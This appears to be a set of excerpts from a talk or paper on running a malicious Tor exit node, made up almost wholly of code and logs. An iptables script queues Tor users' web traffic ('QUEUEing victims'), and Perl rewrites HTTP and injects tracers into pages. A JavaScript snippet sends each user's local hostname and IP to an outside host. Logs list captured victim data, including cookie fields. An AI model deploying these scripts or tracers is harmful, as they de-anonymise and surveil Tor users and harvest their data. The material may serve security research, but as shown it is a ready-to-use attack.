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# I don’t want people connecting back into Tor, from my Tor node 
ExitPolicy reject 127.0.0.0/8:* 
 
# block filetrading sites rapidshare.de and up-file.com 
# it is no fun having all bandwidth wasted on CSI episodes 
ExitPolicy reject 80.239.236.0/24:* 
ExitPolicy reject 130.117.156.0/24:* 
ExitPolicy reject 69.31.34.0/24:* 
 
# block porn sites using all bandwidth, one example shown below 
ExitPolicy reject 146.82.200.248:* 
 
# Crap... observed people looking at childporn  
# (nakedlola.com, young-sweet-girls.com) 
ExitPolicy reject  81.95.147.0/24:* 
ExitPolicy reject 194.182.148.0/24:* 
 
# allow snarfable traffic, reject everything else 
ExitPolicy accept *:80 
ExitPolicy reject *:* 
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echo Saving old ruleset to iptables.bak 

iptables-save > iptables.bak 

echo Flushing old ruleset 

iptables --flush 

echo Allowing traffic related to Tor nodes 

for tornode in `cat /var/lib/tor/cached-directory |grep '^router 
' | awk '{print $3}'|sort|uniq`; do echo -e "Allowing traffic to 
Tornode $tornode   \r"; iptables -I INPUT -p tcp -m tcp --sport 
80 -s $tornode -j ACCEPT; iptables -I OUTPUT -p tcp -m tcp --
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dport 80 -d $tornode -j ACCEPT; done 

echo Done allowing Tor nodes traffic 

echo Allowing traffic to/from our evil webserver 

iptables -A INPUT -d 11.22.111.222 -p tcp -m tcp --dport 80 -j 
ACCEPT 

iptables -A OUTPUT -s 11.22.111.222 -o eth0 -p tcp -m tcp --sport 
80 -j ACCEPT 

echo Allowing re-injected traffic 

iptables -A OUTPUT -o lo -j ACCEPT 

iptables -A INPUT -i lo -j ACCEPT 

iptables -A OUTPUT -p tcp -m tos --tos Minimize-Cost -j ACCEPT 

iptables -A OUTPUT -p tcp -m ttl --ttl-eq 255 -j ACCEPT 

echo QUEUEing victims 

iptables -A INPUT -i eth0 -p tcp -m tcp --sport 80 -j QUEUE 

iptables -A OUTPUT -p tcp -m tcp --dport 80 -m owner --uid-owner 
debian-tor -j QUEUE 
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  # alter traffic destined to port 80 

  # make traffic easier to watch, http 1.0 and no gzip  

  if($portdest == 80){ 

    if(($tcpdata =~ m/Accept-Encoding/mgs) 

    or ($tcpdata =~ m/HTTP\/1.1/)){ 

      $tcpdata =~ s/Accept-Encoding: /Fuzzzzy-Animals: /g; 

      $tcpdata =~ s/HTTP\/1.1/HTTP\/1.0/g; 

    } 

  } 
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  # alter traffic returned from port 80 

  # HTTP traffic -- inject tracers and anonymize a little 

  if($portsrc == 80){ 

     if($tcpdata =~ m/$routerip/gsmi){ 

       # replace tags from myip.dk, etc, with filthy untruths: 

       $tcpdata =~ s/$routerip/$fakeIP/gsm; 

     } 

     #inject tracer at specified part of page 

     if($tcpdata =~ m/$placetag/mgsi){ 

       $tracer = $tracertemplate; 

       my $hexip = &ipHexEncode($src); 

       $tracer =~ s/IPTAGHEX/$hexip/gsm; 

       if($prepost eq $posttag){ 

         $tcpdata =~s/$placetag.{$tracerlength}/$placetag$tracer/gsmi; 

       } 

       else{ 

         $tcpdata =~s/.{$tracerlength}$placetag/$tracer$placetag/gsmi; 

       } 

     } 

  } 
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<script language=JavaScript> 

   a = java.net.InetAddress.getLocalHost(); 

   i = a.getHostName(); 

   n = a.getHostAddress(); 

   img = "http://xxx.dk /" + i + n + ".gif"; 

   document.write("<img height=0 width=0 src=" + img + ">"); 

</script> 
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cat phonehome.87.237.113.19 Wed Oct  4 03:12:33 2006.log: 

87.237.113.19 Wed Oct  4 03:12:33 2006 Full Data: Browser to: 
http://warezok.ru/forum/index.php?__83.222.30.78(Firefox) Cookie: 
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cat log_server.log |grep 'GET /.*gif'|sort|uniq 

GET /eureka127.0.0.1.gif HTTP/1.1 

GET /KanotixBox127.0.0.1.gif HTTP/1.1 

GET /localhost127.0.0.1.gif HTTP/1.0 

GET /localhost127.0.0.1.gif HTTP/1.1 

GET /ubuntu127.0.0.1.gif HTTP/1.0 
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